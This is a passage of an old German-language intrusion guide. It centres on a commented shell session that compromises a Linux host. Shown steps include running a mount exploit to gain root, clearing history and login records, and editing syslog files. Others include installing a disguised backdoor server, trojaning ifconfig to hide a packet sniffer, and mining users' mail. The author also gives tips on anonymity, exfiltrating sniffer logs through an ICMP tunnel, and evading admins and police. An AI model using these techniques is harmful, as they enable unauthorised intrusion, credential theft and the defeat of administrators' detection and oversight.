ja, und weil kopieren einfacher ist als selber schreiben, solltest du bedenken, das Programme, die unter z.B. Linux 'nen Bug haben hoechstwahrscheinlich auch unter *BSD buggy sind (ok, mit 99,9%iger Ausnahme von OpenBSD)...
und solltest du mal kein Exploit von 'nem bereits gefixten Bug haben, dann besorge dir das Patch und versuche anhand dessen dein Exploit zu coden (es ist zwar bloed, dass es schon bekannt ist, aber die meisten Admins haben mehr Probleme damit ihr Netz am Laufen zu halten als die Bugs in irgendwelchen Programmen zu patchen)

1. halte nur zu sehr gut befreundeten Hackern kontakt

wenn du mit ihnen Emails austauscht, dann sollten sie natuerlich mit PGP encrypted sein, zu einem anonymen Account gehen (benutze keinen gehackten Account, besser www.hotmail.com, www.yahoo.com, ...) unter Verwendung eines speziellen Handles, den du fuer nichts anderes verwendest
du solltest den Handle/Account unregelmaessig aendern und natuerlich auch ein neues PGP seckey-pubkey Paar erstellen (auch die Passphrase aendern!)
Achte darauf, dass dein pgp key mit mindestens 2048 bit Schluessellaenge generiert wird, ausserdem solltest du aus Sicherheitsgruenden nicht die 5.x
Version benutzen, sondern bei der alten 2.6.x Version!!
2. wenn du dich unbedingt auf den einschlaegigen IRC Channels rumtreiben willst, dann aendere immer deinen Nick und wechsel auch deinen Host (da viele Rechner im Internet keine irc-Clients installiert haben, solltest du Relays benutzen (oder auch IP Source Routing und IP Spoofing, probier´s aus))

ich weiss, dass das aendern des Nicks nicht so schoen ist, weil man dadurch keine Reputation bei der breiten Masse bekommt; aber Reputation ist so toetlich wie nuetzlich (andere Hacker akzeptieren dich sofort und sind etwas geschwaetziger dir gegenueber - um sich zu profilieren - aber wenn du erstmal so weit bist, dass du deine eigenen Exploits schreibst, dann bist du auf den groessten Teil der Hacker sowieso nicht mehr angewiesen, und die restlichen triffst du nicht so einfach im IRC)
Nuetzlich sind hier sogenannte ReRouter,  die eine TCP Verbindung weiterleiten, was auch schon in der Hinsicht interessant ist, wenn man sich
vor Attacken von anderen Hacker schuetzten will, wenn man auf dem IRC zuviel Aerger verursacht hat ;-))
Auch hier koenntest du natuerlich einen speziellen Account fuer's IRC benutzen

Ein Blick ueber die Schulter

source > finger @victim.domain.com
[]

Welcome to Linux version 2.0.33 at victim.domain.com !

  6:21pm  up  6:10h,  0 users,  load average: 0.28, 0.11, 0.10

  No one logged in.

source >

So ka, es scheint keiner eingeloggt zu sein, aber wir werden es auf dem Rechner noch genauer ueberpruefen.

source > telnet
telnet > o victim.domain.com
Trying 10.255.0.1...
Connected to localhost.
Escape character is '^]'.

Linux 2.0.33 (victim.domain.com) (ttyp4)
 

victim login: johnny
Password:
Have a lot of fun...
Last login: Wed Jun 17 19:16:07 on tty3.
No mail.

Vielleicht hast du dich gefragt warum wir telnet interaktiv benutzen, nungut, der Grund ist einfach: damit
verhindern wir, dass der Zielrechner in der Prozessliste auftaucht.

victim:/home/johnny > rlogin victim
Password:
Have a lot of fun...
Last login: Wed Jun 17 19:16:07 on ttyp4 from source.ass.com.
No mail
victim:/home/johnny > exit
rlogin: connection closed.
victim:/home/johnny > csh -f
victim % ls -altr
[...]
-rw-------   1 test     users         450 Jul  6 11:38 .bash_history
victim % unset HISTILE
victim % rm .bash_history

Ja, alles was wir hier gemacht haben ist unsere Spuren etwas zu verschleiern und das ohne ´root´-Rechte.
Durch rlogin (telnet geht natuerlich auch) koennen wir unseren Lastlog-Entry ueberschreiben und was absolut
wichtig ist, ist dass das History-File geloescht wird; und um kein neues File zu erzeugen rufen wir die csh auf, die
per default kein History-File erstellt (wenn der User die csh benutzt kannst du auch die Bourne-Shell sh verwenden, aber vorsicht, denn unter Linux z.B. ist /bin/sh ein Link auf /bin/bash).
Das History-File musst du unbedingt am Anfang deiner Sitzung loeschen, denn wenn der Admin dich bemerkt und
einen Hard-Link auf das File macht, dann bleiben die Daten auf der HD erhalten und der Admin kann ueber den Hard-Link darauf zugreifen.
Falls login SUID root installiert ist, hast du die Moeglichkeit auch dein ´utmp[x]´-Entry zu ueberschreiben, dazu rufst du einfach login auf und loggst dich ein.

victim % w
   6:54pm  up  6:43h,  1 users,  load average: 0.08, 0.09, 0.08
USER      TTY    LOGIN@  IDLE   JCPU   PCPU  WHAT
johnny      ttyp4   6:35pm       0:01      0:00     0:00         w

victim % ps au
USER   PID %CPU %MEM   VSZ   RSS  TT STAT  START   TIME COMMAND
root       144    0.0         0.1        800       24    1      S        12:12       0:00     mingetty
root       145    0.0         0.0        800         8    2      S        12:12       0:00     mingetty
root       146    0.0         0.1        800       28    3      S        12:12       0:00     mingetty
root       147    0.0         0.0        800         0    4      SW    12:12       0:00     mingetty
root       148    0.0         0.0        800         0    5      SW    12:12       0:00     mingetty
root       149    0.0         0.0        800         0    6      SW    12:12       0:00     mingetty
johnny 1641    0.0         4.6      1748   1064  p4      S       18:35        0:00     -bash
johnny 1691    0.0         1.7        928    408   p4      R       18:57        0:00     ps au

Hier ueberpruefen wir nochmal genau ob nicht doch ein Admin eingeloggt ist, der fingerd modifiziert oder seine
Eintraege aus ´w/utmp[x]´ geloescht hat. Wie es aussieht ist 'johnny' der einzige User, der online ist.

victim % domainname
korn.domain.nis
victim %  ypwhich
chi
victim % ypcat ypservers
chi
fieldy

So, als erstes holen wir uns Infos ueber deren NIS. Den NIS-Domainname und den NIS-Server koennen wir spaeter
benutzen um diverse NIS-Maps zu transferieren; z.B. die Passwd-Map nachdem wir rausgeflogen sind.
NIS ist fast zu 100% in den Domains installiert. Nur wenige benutzen rdist, NIS+ oder DCE.

victim% uname -a
Linux wallace 2.0.33 #4 Sun Jul 6 11:43:22 MEST 1998 686 unknown
victim % ypcat passwd
proj:FbxcM/NyIxf7w:501:100:Project Account:/home/proj:/bin/bash
test:x:502:100:Test Account:/home/test:/bin/bash
[...]

victim % cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]

victim % ypcat group
root:x:0:root
bin:x:1:root,bin,daemon
daemon:x:2:
tty:x:5:
[...]

victim % cat /etc/group
root:x:0:root
bin:x:1:root,bin,daemon
daemon:x:2:
tty:x:5:
[...]

victim % ypcat hosts
127.0.0.1       localhost
[...]

victim % cat /etc/hosts
127.0.0.1       localhost
[...]

victim % cat /etc/syslog.conf
# /etc/syslog.conf - Configuration file for syslogd(8)
#
# For info about the format of this file, see "man syslog.conf".
#
#
#
# print most on tty10
kern.warn;*.err;authpriv.none   /dev/tty10
*.emerg                         *
[...]

victim % cat  /etc/inetd.conf
# See "man 8 inetd" for more information.
#
# If you make changes to this file, either reboot your machine or send the
# inetd a HUP signal:
# Do a "ps x" as root and look up the pid of inetd. Then do a
# "kill -HUP <pid of inetd>".
# The inetd will re-read this file whenever it gets that signal.
#
# <service_name> <sock_type> <proto> <flags> <user> <server_path> <args>
#
# echo  stream  tcp     nowait  root    internal
# echo  dgram   udp     wait    root    internal
# discard       stream  tcp     nowait  root    internal
# discard       dgram   udp     wait    root    internal
# daytime       stream  tcp     nowait  root    internal
# daytime       dgram   udp     wait    root    internal
# chargen       stream  tcp     nowait  root    internal
# chargen       dgram   udp     wait    root    internal
# time  stream  tcp     nowait  root    internal
# time  dgram   udp     wait    root    internal
[...]

Jetzt haben wir alle Informationen die wir benoetigen um die Log-Verwaltung zu analysieren und um unseren
Zugriff zu festigen/wiederzuerlangen.

victim % mkdir /tmp/".. "
victim % cd /tmp/".. "
victim % uudecode
begin 644 mexpl.gz
M"B,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,*(PD)"0D)"0D)
M"2`@("`@(",*(PD@("`@(%5.25@@26YT97)A8W1I=F4@5&]O;',@-"XR8B!C
M;VYF:6=U<F%T:6]N(&9I;&4)"2`@("`@(",*(PD@($-O<'ER:6=H="`H8RD@
M5'5D;W(@2'5L=6)E:2`F($%N9')E:2!0:71I<RP@36%Y(#$Y.30)("`@("`@
M"2`@("`@(",*(PD)"0D)"0D)"2`@("`@(",*(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(PH*"B,*(R!X=&5R;2!C;VYF:6=U<F%T:6]N(&9I
M;&4@*%@@=VEN9&]W('-Y<W1E;2DN"B,@268@>6]U(&%R92!U<VEN9R!C;VQO
M<E]X=&5R;2!C;VYS:61E<B!C:&%N9VEN9R!,:6YU>$-O;G-O;&4@86YD"B,@
M0V]L;W)-;VYI=&]R('1O($].+@HC"@H*(PHC("`M($EF("=,:6YU>$-O;&]R
[...]
victim % ls -altr
drwxr-xr-x   2 johnny users        1024 Jul  6 11:39 .
drwxrwxrwt   7 root     root         1024 Jul  6 11:39 ..
-rw-r--r--  1 johnny users      2345  Jul  5  11:41 mexpl.gz
victim % gunzip *.gz
victim % chmod u+x mexpl
victim % mexpl
bash# whoami
root
bash# unset HISTFILE
bash# rm ~/.bash_history

Als erstes haben wir ein Arbeitsdirec. eingerichtet und anschliessend wurde das Binary eines mount-Exploits,
welches zuvor uuencode'd wurde, uebertragen.
Das Transferieren des Images ist recht simpel (Verwendung eines Terminalprog.s, keine PPP/IP Verbindung)
needle > uuencode mexpl.gz mexpl.gz > /dev/modem
Nur fuer den Fall, dass ich - aus welchen Gruenden auch immer - den Compiler einses Systems nicht benutzen kann,
sammel ich von meinen Hackertools und Exploits die Binaries der verschiedenen Plattformen um sie wie oben
gezeigt zu uebertragen.
Speziell fuer diese Aufgabe habe ich einen Menuepunkt (F2) in meinen MidnightCommander eingerichtet.

bash# uudecode
begin 644 tools.tar.gz
M"B,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,*(PD)"0D)"0D)
M"2`@("`@(",*(PD@("`@(%5.25@@26YT97)A8W1I=F4@5&]O;',@-"XR8B!C
M;VYF:6=U<F%T:6]N(&9I;&4)"2`@("`@(",*(PD@($-O<'ER:6=H="`H8RD@
M5'5D;W(@2'5L=6)E:2`F($%N9')E:2!0:71I<RP@36%Y(#$Y.30)("`@("`@
M"2`@("`@(",*(PD)"0D)"0D)"2`@("`@(",*(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(PH*"B,*(R!X=&5R;2!C;VYF:6=U<F%T:6]N(&9I
M;&4@*%@@=VEN9&]W('-Y<W1E;2DN"B,@268@>6]U(&%R92!U<VEN9R!C;VQO
M<E]X=&5R;2!C;VYS:61E<B!C:&%N9VEN9R!,:6YU>$-O;G-O;&4@86YD"B,@
M0V]L;W)-;VYI=&]R('1O($].+@HC"@H*(PHC("`M($EF("=,:6YU>$-O;&]R
M0V]N<V]L92<@86YD("=#;VQO<DUO;FET;W(G(&%R92!B;W1H($].+"!;54E4
M>'AX+4-O;&]R70HC(&1E<V-R:7!T:6]N<R!W:6QL(&)E('5S960N"B,@("T@
M268@>6]U(&%R92!W;W)K:6YG(&]N(&$@3&EN=7@@<WES=&5M(&)U="!Y;W4@
[...]
bash# tar xvzf tools.tar.gz
searcher
smeagol_v4.4.4.tar
clear13b.c
su-trojan
linsniffer.c
srm.c
ifconfig
fix
bash# gcc -o cb clear13b.c
bash# ./cb johnny
wtmp ... utmp ... lastlog ... Done!
Last entry cleared from user johnny
bash# w
  3:28pm  up  4:33h,  0 users,  load average: 0.42, 0.15, 0.04
USER      TTY    LOGIN@  IDLE   JCPU   PCPU  WHAT
bash#

Boing!... Mit clear13b haben wir unsere aktuellen Eintraege aus ´w/utmp[x]´ und ´lastlog´ entfernt. Du solltest darauf
aufpassen, dass dein Logcleaner keine Loecher in den Dateien, d.h. die Eintraege einfach mit '0' ueberschreibt, hinterlaesst, denn die koennen leicht von Programmen des CERT's entdeckt werden.
Auf Process-Accounting musst du auch acht geben, denn dadurch kann der Admin entdecken welche Programme du ausgefuehrt hast. Auch wenn die Programme nicht ungewoehnlich aussehen sollten ist es immer noch sehr auffaellig, wenn ein User, der keine Eintraege in den regulaeren Logfiles besitzt, ein Programm aufgerufen hat.
Zum Glueck wird Process-Accounting nur selten benutzt, da das Logfile sehr schnell waechst. Das Logfile heisst ´acct´ oder ´pacct´ und befindet sich mit den anderen Logfiles im selben Direc..
Auf besonders schnellen/grossen Rechnern (Cray) ist das Process-Accounting fast immer aktiv, da hier die User fuer ihre Rechenzeit bezahlen muessen.

bash# cd /var/log
bash# ls -altr
total 838
drwxr-xr-x  20 root     root         1024 May 28 19:58 ..
-rw-r-----   1 root     root            0 May 28 21:01 news
-rw-r--r--   1 root     root          199 May 28 21:12 httpd.error_log
-rw-r--r--   1 root     root            0 May 28 21:14 httpd.access_log
-rw-r--r--   1 root     root         3925 May 28 21:53 Config.bootup
drwxr-xr-x   2 root     root         1024 Jun 14 11:29 .
-rw-r--r--   1 root     root         1871 Jul  7 09:04 boot.msg
-rw-r-----   1 root     root       519707 Jul  7 09:04 warn
-rw-r-----   1 root     root        15842 Jul  7 09:04 mail
-rw-------   1 root     root           24 Jul  7 13:42 faillog
-rw-r--r--   1 root     root        16096 Jul  7 13:42 lastlog
-rw-r--r--   1 root     root        92454 Jul  7 13:42 messages
-rw-rw-r--   1 root     tty        207984 Jul  7 13:42 wtmp
bash# grep source.ass *
messages: Jul  7 13:42:39 wallace in.telnetd[401]: connect from source.ass.com
bash# fuser messages
messages:               85
bash# ps aux 85
    USER   PID %CPU %MEM   VSZ   RSS  TT STAT  START   TIME COMMAND
root             85      0.0        0.8       836       196   ?    S          09:04      0:00    /usr/sbin/syslogd
bash# grep in.rlogind *
messages: Jul  7 13:41:56 wallace in.rlogind[384]: connect from johnny@victim.domain.com
bash# grep -v source.ass.com messages > m
bash# grep -v "Jul  7 13:41:56" m > messages
bash# cat /dev/zero > m
^C
bash# rm m
bash# ls -altr
total 838
drwxr-xr-x  20 root     root         1024 May 28 19:58 ..
-rw-r-----   1 root     root            0 May 28 21:01 news
-rw-r--r--   1 root     root          199 May 28 21:12 httpd.error_log
-rw-r--r--   1 root     root            0 May 28 21:14 httpd.access_log
-rw-r--r--   1 root     root         3925 May 28 21:53 Config.bootup
drwxr-xr-x   2 root     root         1024 Jun 14 11:29 .
-rw-r--r--   1 root     root         1871 Jul  7 09:04 boot.msg
-rw-r-----   1 root     root       519707 Jul  7 09:04 warn
-rw-r-----   1 root     root        15842 Jul  7 09:04 mail
-rw-------   1 root     root           24 Jul  7 13:42 faillog
-rw-r--r--   1 root     root        16096 Jul  7 13:42 lastlog
-rw-rw-r--   1 root     tty        207984 Jul  7 13:42 wtmp
-rw-r--r--   1 root     root        92502 Jul  7 13:49 messages

Hier haben wir uns die Syslog-Files nochmal genauer angesehen und unsere Spuren verwischt.
Mit fuser kannst du unter anderem die PID des Processes feststellen, welcher ein bestimmte Datei benutzt.
In diesem Fall gehoert, wie zu erwarten, die PID 85 zu syslogd. Wir benoetigen die PID um syslogd das HUP-Signal zu senden, welches syslogd veranlasst die Logfiles neu zu oeffnen. Dies ist noetig, weil syslogd sonst einen Inode benutzt zu dem es kein File mehr, in unserem Fall ´messages´, im Verz. ´/var/log´ existiert.
Das Dumme an der Sache ist nur, dass syslogd eine Restart-Message in die Logfiles schreibt.
Jetzt fragst du dich sicherlich: "Warum erzaehlt der Typ mir den ganzen Gammel und macht es dann selbst nicht?"
Die Antwort ist einfach: Wir erzeugen keinen neuen Inode indem wir die Datem kopieren und nicht moven. Damit vermeiden wir zusaetzlich die Restart-Message.
Wenn syslogd wichtige Logs zur Console oder zu einem TTY schreibt (s. ´/etc/syslog.conf´), dann kannst du mit:
bash# yes " " > /dev/console
^C
den Bildschirm loeschen.
Wenn Logs auf einem Printer ausgedruckt werden, dann sieht's relativ schlecht aus. Entweder hoffst du, dass das Papier/das Farbband leer war oder, dass der Admin es nicht sieht. ;)
Es ist mit einiger Wahrscheinlichkeit auch moeglich das Papier um einige Zeile zurueckzuschieben und deine Entries mehrmals mit anderen Kram zu ueberschreiben. Ich hab's noch nie ausprobiert und ueberlasse es deiner Phantasie und deinem Koennen das Problem zu loesen.
Mehr 'Glueck' hat man da schon, wenn die Daten auf einen extra Loghost gehen (du kannst nur beten, das sie nicht einfach eine Serielle-Verbindung benutzen); den du dann natuerlich hacken musst; oder es besser sein laesst, weil du dadurch nur die Aufmerksamkeit der Admins auf dich ziehst.
Die ganz paranoiden unter euch (was nicht unbedingt schlecht ist) sollten noch identd ersetzen; der TCP-Wrapper, Firewalls, etc benutzen identd um den Usernamen auf dem Remote Host zu eruieren.

bash# cd /tmp/".. "
bash# tar xf smeagol_v4.4.4.tar
bash# cd V4.4.4
bash# make
cp smeagol.h.gen smeagol.h
make -f Makefile.gen
make[1]: Entering directory `/tmp/.. /V4.4.4'
cc  -c cmds.c
cc -DGENERIC -c remove.c
cc -c stdnet.c error.c
cc  -c smeagol.c
cc -c tty-intruder.c
cc -c auth.c
cc  -c ah.c
cc -c strhide.c
cc -O2 -o smeagol cmds.o remove.o stdnet.o error.o smeagol.o tty-intruder.o auth.o ah.o strhide.o
strip smeagol
make[1]: Leaving directory `/tmp/.. /V4.4.4'
bash# mv smeagol "netstat                     "
bash# ./netstat*
LOCK<-KEY:
bash# telnet
telnet> o localhost 1524
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

hixer

WELCOME
CYBERSPAWN
 

[/] Simon says: helpme
bye                        :  close Session
remove <user>     :  starts Simple Nomad's LogCleaner
maskas <user>    :   mask Process with EUID of <user>
cd <direc>            :  make a chdir() call
ttyhij <tty>           :  hijack a TTY session
accth                     :  Start Zhart's Acct Handler (not available)
helpme                   :  You guessed it...

                                                    Smeagol was written by
                                                                TICK
 

[/] Simon says: bye
Bye
 

Connection closed by foreign host.
bash#

Um uns den Remote-Zugang zum System zu erhalten benutzen wir einen Backdoor-Server.
Falls ich einen Backdoor-Server verwende benutze ich meinen eigenen. Smeagol  ist sehr gut darin seine Existenz
zu verschleiern aber leider laeuft er bisher nur auf AIX und Linux. Fuer andere Systeme koennen z.B. simple Perl-Backdoors benutzt werden oder portiere Smeagol einfach zu 'nem anderen Unix-Derivat und sende mir dann bitte deine Version.
Es ist sehr wichtig, dass du vor der Installation den genauen Pfad zu den Logfiles, das Passwort und die richtigen Namen fuer die Daemons, fuer die sich Smeagol ausgeben soll, angibst. Falls auf dem System das Process-Accounting aktiviert worden ist musst du auch dafuer die entsprechenden Aenderungen im Source-Code und im Makefile machen.
Zum Aendern der verschluesselten Strings solltest du convert benutzen. Als XOR-Value (F1) musst du den Default-XOR-Wert angeben, der als Define in 'strhide.h' verwendet wird. Der Output muss gefixt werden (F3).
Ich habe Smeagol nach "netstat              " ge'movet um argv[0] gross genug zu machen, damit beim Ueberschreiben der Process-Tableeintraege nicht die hinteren Buchstaben abgeschnitten werden, und desweiteren sieht der Aufruf von netstat ungefaehrlicher aus als der Aufruf von smeagol - spez. beim Proc-Acct.

bash# cd /var/cron/tabs
bash# ls -al
 total 3
drwx------   2 root     root         1024 Jul 25 11:56 ./
drwx------   3 root     root         1024 May 28 20:57 ../
-rw-------   1 root     root          258 Jan 25 11:56 root
bash# cat root
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.326 installed on Sat Jul 25 11:56:24 1998)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
#
# run Tripwire at 3.00 pm every day
00 15 * * * (/root/bin/runtw)
bash# cd /root/bin
bash# file runtw
runtw: Bourne shell script text
bash# cat runtw
#!/bin/sh
/bin/mount -r -t ext2 -v /dev/fd0 /fd0/tripwire || exit 1
/fd0/tripwire/bin/tripwire
/bin/umount /dev/fd0

exit 0
bash# mount -t ext2 /dev/fd0 /mnt
mount: block device /dev/fd0 is write-protected, mounting read-only
/dev/fd0 on /mnt type ext2 (ro)
bash# cd /mash# cd /mnt
bash# ls -al
drwx------   5 root     root         1024 Jul 29  1997 .
drwxr-xr-x   4 root     root         1024 Jul 29  1997 ..
drwx------   2 root     root         1024 Jul 23 13:40 Config
drwx------   2 root     root         1024 Jul 23 13:34 Databases
drwx------   2 root     root         1024 Jul 23 13:57 bin
bash# ls -alR .
total 5
drwx------   5 root     root         1024 Jul 29  1997 .
drwxr-xr-x   4 root     root         1024 Jul 29  1997 ..
drwx------   2 root     root         1024 Jul 23 13:40 Config
drwx------   2 root     root         1024 Jul 23 13:34 Databases
drwx------   2 root     root         1024 Jul 23 13:57 bin

Config:
total 4
drwx------   2 root     root         1024 Jul 23 13:40 .
drwx------   5 root     root         1024 Jul 29  1997 ..
-rw-------   1 root     root          387 Jul 23 13:34 tw.config
-rw-------   1 root     root          387 Jul 23 13:40 tw.config.bak

Databases:
total 2
drwx------   2 root     root         1024 Jul 23 13:34 .
drwx------   5 root     root         1024 Jul 29  1997 ..

bin:
total 425
drwx------   2 root     root         1024 Jul 23 13:57 .
drwx------   5 root     root         1024 Jul 29  1997 ..
-rwxr-xr-x   1 root     root       128745 Jul 23 13:45 tripwire
-rw-r--r--   1 root     root       299814 Jul 29  1997 tripwire-1.2.tar.gz
bash# cd Config
bash# cat tw.config
# Check root's binaries
/root/bin

# Check TripWire's Database-, Config- and TAR-File
/fd0/tripwire

# Check System-Files and -Binaries
/etc/passwd
/etc/skel
/etc/aliases
/etc/exports
/etc/fstab
/etc/ftpusers
/etc/group
/etc/hosts
/etc/inetd.conf
/etc/inittab
/etc/lilo.conf
/etc/profile
/etc/sendmail.cf
/etc/sudoers
/etc/syslog.conf
/bin
/usr/bin
/usr/local/bin
bash#

Bevor wir irgendwelche Files ersetzen oder aendern sollten wir ueberpruefen ob die Admins einen Integry-Checker zum Schutz vor Trojan-Horses etc. einsetzen. Auf diesem Rechner ist das der Fall. Grundsaetzlich kann ich nur sagen, dass du niemals so sicherheitsrelevante Files, wie z.B. '/etc/passwd' oder '/etc/inetd.conf', veraendern solltest; egal wie clever du vorgehst, die Admins werden es immer entdecken und meistens eher frueher als spaeter. Dasselbe gilt fuer SUID-Shells. Ich kann auch nur davon abraten die Tripwire-DB zu manipulieren, was in diesem Fall auch garnicht moeglich ist, da sich die DB auf 'ner write-protected Floppy befindet.
Natuerlich koenntest du fuer Linux die weit verbreiteten Loadable-Kernel-Modules (LKMs) verwenden um die Syscalls zu verbiegen, damit du dein Trojan-Horse in den Kernel verlegst, oder spez. fuer Tripwire, die Zugriffe auf die geschuetzten Files manipulierst. Ich halte solche Eingriffe in das System fuer zu Aufwendig und folglich Auffaellig. Was mir hingegen gefaellt sind gute LKMs, die die Praesenz von bestimmten Dingen, wie Files, User, LKMs etc, verbergen. Mit soeinem 'Hide-LKM' ist es dann auch moeglich SUID-Shell im System zu verschtecken.

bash# cd /tmp/".. "
bash# cat > wl.mail
hacker
cracker
intrusion
security
break-in
hack
password
login
account
tripwire
integry
sniffer
cpm
ifconfig
military
.ml
.gov
^C
bash# cat > wl.log
source.ass
johnny
^C
bash# ./searcher -vvv -rnf -m wl.mail -l wl.log > s.res &
[1] 454
bash#

 Searcher  sucht nun nach den angegeben Wortern in den E-Mails der User bzw. in den Syslog-Files (doppelt haelt besser) und zuseatzlich verschafft es uns weitere Informationen, die uns den Zugang zu anderen Systemen ermoeglichen koennen.
Searcher ist auch sehr nuetzlich, wenn du Informationen ueber ganz bestimmte Sachen suchst, z.B. ueber irgendwelche Forschungs-Projekte, die sich natuerlich mit Internet-Security & Co. beschaeftigen, oder wenn du Daten ueber deine Noten im Verwaltungs-Server deiner Uni suchst ;). Um die Suche etwas zu beschleunigen kannst du dich nur auf ausgewaehlte Gruppen von Usern beschraenken.
Am besten ist es wenn du Searcher schon frueh startest, da er viel Zeit benoetigt.
Das Resultat von Searcher's Arbeit kannst du am besten mit 'gzip --best' komprimieren, mit 'uuencode' ausgeben lassen und nach dem Hack aus deinen Logs extrahieren um es zu analysieren.

Jetzt ist der richtige Zeitpunkt gekommen um sich um die Admins zu kuemmern.
Du solltest dir von jedem Admin das Home-Direc. angucken, dein Augenmerk sollte dabei auf das Bin-Direc. und dem History-File fallen. Du wirst mit Sicherheit weitere Securitytools, wie z.B. cpm (Promiscuous-Mode Checker), finden, und das History-File gibt dir Auskunft ueber das Verhalten der Admins, z.B.: auf welchen Rechner sie arbeiten, ob sie das root-Passwort kennen, welche Befehle sie ausfuehren und demnach welche Aufgaben sie haben.
Wenn Admins haeufig su ausfuehren und dabei nicht den vollen Path angeben sind sie ein perfektes Ziel fuer spaetere PATH/Trojan-Horse Attacken.

bash# which ifconfig
/sbin/ifconfig
bash# cd /tmp/".. "
bash# fix /sbin/ifconfig ./ifconfig ./ic.bak
fixer: Last 17 bytes not zero
fixer: Can't fix checksum
bash# showmount -e localhost
/cdrom  pc-01.pool.domain.com
bash# mv linsniffer nfsiod
bash# export PATH=.:$PATH
bash# nfsiod

Als letztes installieren wir noch unseren Ethernet-Sniffer. Wir ersetzen ifconfig mit einer modifizierten Version, die nicht anzeigt ob eine Netzwerkarte in den Promiscuous-Mode geschalltet ist. Falls ein Admin cpm o.ae. benutzt, solltest du es ebenfalls ersetzen - aber denke immer an Integry-Checker, in diesem Fall ist '/sbin' nicht Teil der Tripwire-DB. Auf hochsicheren Rechnern wuerde ich niemals Prog.s ersetzen, da die Wahrscheinlichkeit hoch ist, dass sich doch irgendwo ein Integry-Checker verbirgt, den man uebersehen hat (im Fall des Sniffers waere es denkbar ein LKM in den Kernel zu laden um den ioctl() Systemcall zu verbiegen und das PROMISC Flag nicht mehr anzuzeigen).
Frueher wurde haeufig das Prog. sum fuer die Checksum-Erstellung benutzt, leider (?) erstellt sum kryptographisch unsichere Hashwerte. Das Tool fix/fixer nutzt diesen 'Fehler' aus, ich habe es hier nur verwendet, weil es die Zeiten anpasst und ein Backup erstellt. Da sum so gut wie garnicht mehr benutzt wird ist es auch nicht wichtig, dass die Checksum nicht gefixt wurde, falls du es aber doch besser findest, dann haenge einfach ein paar Nullen an dein Trojan-Horse undzwar wie folgt
bash# cat /dev/zero >> ./ifconfig
^C
Anschliesend starten wir den Sniffer nachdem wir ihm einen unauffaelligen Namen verpasst haben. Wenn der Admin irgendein Verzeichnis exportiert, das jedermann mounten kann, dann solltest du dein Snifflog-File dorthin schreiben lassen. Aber ich bevorzuge die Collector-Library  oder noch besser, insbesondere bei Firewalls, die  ICMP-Tunnel-Library .
Kleine Anekdote: Ich hab' mal 'ne Zeit lang meine Snifferlogs via ICMP-Tunnel von 'nem Bastion-Host zu 'nem auslaendischen Rechner 'geschmuggelt'; es funktionierte wunderbar und wurde nicht endeckt.

bash# cd /tmp/".. "
[1]+  Done                    searcher
bash# gzip --best s.res
bash# uuencode s.res.gz s.res.gz
[...]
bash# gcc -o rm srm.c
bash# rm -vss ./*
Deleting ifconfig ************************************* Done
[...]
bash# cd ..
bash# rm -r ".. "
bash# ls -altr ~root
[...]
-rw-------   1 root     root        90803 Jan 23 11:26 .fvwm2rc
drwxr-xr-x   3 root     root         2048 Jan 23 13:57 bin
drwxr-xr-x  22 root     root         1024 Jan 25 11:55 ..
drwx--x--x  35 root     root         4096 Jan 26 09:11 .
-rw-------   1 root     root          150 Jan 26 09:11 .Xauthority
-rw-------   1 root     root          280 Jan 26 09:12 .xsession-errors
drwx------   5 root     root         1024 Jan 26 09:17 .netscape
-rw-------   1 root     root          441 Jun 5 13:14 .bash_history
-rw-------   1 root     root           85 Jan 5 13:50 .xlockmessage
bash# exit
victim% cd
victim% pwd
/home/johnny
victim% ls -altr
[...]
-rw-r--r--   1 test     users        3324 Dec 11  1997 .emacs
drwx------   2 test     users        1024 May 28 20:57 .grok
drwxr-xr-x   2 test     users        1024 May 28 20:57 .hotjava
drwx------   2 test     users        1024 May 28 20:57 .seyon
drwxr-xr-x   2 test     users        1024 May 28 20:57 .xfm
drwxr-xr-x   5 root     root         1024 Jun 6 19:15 ..
drwxr-xr-x   6 test     users        1024 Jun 6 19:15 .
victim% exit
exit
victim:/home/johhny > exit
logout
Connection closed by forign host.
source >

Zum Schluss wipen wir unsere Tools von der HD, damit sie nicht durch einfaches Raw-Reading oder  Magnetic Force Microscopy (MFM) o. ae. wieder hergestellt werden koennen, und vergewissern uns, dass wir in den Home-Direc., in denen wir rumgewurschtelt haben, keine kompromitierenden Files hinterlassen.
Mit Sicherheit koennte noch einiges verbessert werden, versuch's und entwickel so deinen eigenen Style.

Lege dir ein Art Datenbank mit allen noetigen Information ueber deine gehackten Rechner an sonst verlierst du irgendwann den Ueberblick (natuerlich encrypted).
 

Persoenliche Sicherheit

Ich werde hier die Methode beschreiben, die ich persoenlich anwende.

Die verschluesselten SSH Verbindung sind noetig, damit die Admins/Bullen nicht meine Aktivitaeten am Einwahlpunkt (oder sonstwo) mitschneiden koennen.

Falls du nur einen Rechner zur Verfuehgung hast, dann kannst du dich natuerlich auch mit der Firewall von Linux/FreeBSD/OpenBSD schuetzen. Es ist jedoch kompfortabler die Verbindung ueber einen speziellen Computer zu beobachten (ich weiss nicht inwiefern Linux und Co. einen zweiten Monitor an einem Rechner unterschtuetzt).

Zusaetzlich solltest du noch deinen Kernel patchen, damit er dir mehr informationen ueber eingehende Pakete liefert, somit bist du in der Lage DoS Attacken, Source-Routing Angriffe, Traceroutes etc und ihre Herkunft zu erkennen.

Wichtige Links